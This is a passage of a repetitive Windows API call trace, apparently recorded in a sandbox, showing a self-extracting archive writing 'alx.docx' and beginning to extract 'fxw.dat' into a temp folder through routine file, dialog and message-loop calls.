lpMsg=0x17154c) returned 0 [0068.558] GetTickCount () returned 0x1fc19 [0068.558] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.558] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.558] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.558] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.558] GetTickCount () returned 0x1fc19 [0068.558] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.558] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.558] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.558] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.558] GetTickCount () returned 0x1fc19 [0068.558] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.558] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.558] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.558] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.558] GetTickCount () returned 0x1fc19 [0068.558] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.558] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.558] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.558] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.558] GetTickCount () returned 0x1fc19 [0068.558] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.559] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.559] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.559] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.559] GetTickCount () returned 0x1fc19 [0068.559] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.559] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.559] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.559] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.559] GetTickCount () returned 0x1fc19 [0068.559] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.559] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.559] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.559] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.559] GetTickCount () returned 0x1fc19 [0068.559] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.559] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.559] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.559] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.559] GetTickCount () returned 0x1fc19 [0068.559] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.559] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.559] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.559] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.559] GetTickCount () returned 0x1fc19 [0068.559] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.559] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.559] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.559] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.559] GetTickCount () returned 0x1fc19 [0068.559] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.559] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.559] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.559] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.559] GetTickCount () returned 0x1fc19 [0068.559] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.559] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.559] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.559] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.559] GetTickCount () returned 0x1fc19 [0068.559] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.559] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.559] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.560] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.560] GetTickCount () returned 0x1fc19 [0068.560] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.560] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.560] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.560] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.560] GetTickCount () returned 0x1fc19 [0068.560] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.560] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.560] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.560] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.560] GetTickCount () returned 0x1fc19 [0068.560] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.560] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.560] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.560] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.560] GetTickCount () returned 0x1fc19 [0068.560] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.560] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.560] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.560] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.560] GetTickCount () returned 0x1fc19 [0068.560] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.560] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.560] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.560] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.560] GetTickCount () returned 0x1fc19 [0068.560] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.560] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.560] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.560] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.560] GetTickCount () returned 0x1fc19 [0068.560] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.573] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.573] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.573] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.573] GetTickCount () returned 0x1fc29 [0068.573] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.573] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.573] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.573] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.573] GetTickCount () returned 0x1fc29 [0068.573] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.573] ReadFile (in: hFile=0x1c, lpBuffer=0x270433, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270433*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.573] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.573] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.573] GetTickCount () returned 0x1fc29 [0068.573] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.573] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x209, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x209, lpOverlapped=0x0) returned 1 [0068.574] GetTickCount () returned 0x1fc29 [0068.574] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.574] SetFilePointer (in: hFile=0x1c, lDistanceToMove=876604, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd603c [0068.574] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.574] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.574] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.574] CloseHandle (hObject=0x138) returned 1 [0068.575] SetFileAttributesA (lpFileName="alx.docx", dwFileAttributes=0x20) returned 1 [0068.575] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd603c [0068.575] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.575] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.576] OemToCharA (in: pSrc="fxw.dat", pDst=0x179cc0 | out: pDst="fxw.dat") returned 1 [0068.576] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="fxw.dat", cchCount2=1) returned 1 [0068.576] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="fxw.dat", cchCount2=6) returned 1 [0068.576] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="fxw.dat", cchCount2=-1) returned 1 [0068.576] SetFilePointer (in: hFile=0x1c, lDistanceToMove=876648, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd6068 [0068.576] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="fxw.dat") returned 8 [0068.576] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x418eb8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.576] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting fxw.dat") returned 18 [0068.576] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting fxw.dat") returned 1 [0068.576] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.576] OemToCharBuffA (in: lpszSrc="f", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="f") returned 1 [0068.576] CharToOemBuffA (in: lpszSrc="F", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="F") returned 1 [0068.576] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="fxw.dat") returned 8 [0068.576] FindFirstFileW (in: lpFileName="fxw.dat", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.576] GetLastError () returned 0x2 [0068.576] GetFileAttributesA (lpFileName="fxw.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\fxw.dat")) returned 0xffffffff [0068.576] CreateFileA (lpFileName="fxw.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\fxw.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.576] GetFileType (hFile=0x138) returned 0x1 [0068.576] SetFilePointer (in: hFile=0x138, lDistanceToMove=573, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x23d [0068.576] SetEndOfFile (hFile=0x138) returned 1 [0068.576] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.577] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1cb, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1cb, lpOverlapped=0x0) returned 1 [0068.577] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.577] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.577] GetTickCount () returned 0x1fc29 [0068.577] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.577] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.577] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.577] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.577] GetTickCount () returned 0x1fc29 [0068.577] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.577] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.577] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.577] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.577] GetTickCount () returned 0x1fc29 [0068.577] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.577] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.577] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.577] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.577] GetTickCount () returned 0x1fc29 [0068.577] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.577] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.577] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.577] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.577] GetTickCount () returned 0x1fc29 [0068.577] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.577] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.577] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.577] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.577] GetTickCount () returned 0x1fc29 [0068.577] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.577] ReadFile (in: hFile=0x1c, lpBuffer=0x270453, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270453*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.577] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.577] PeekMessageW (in: 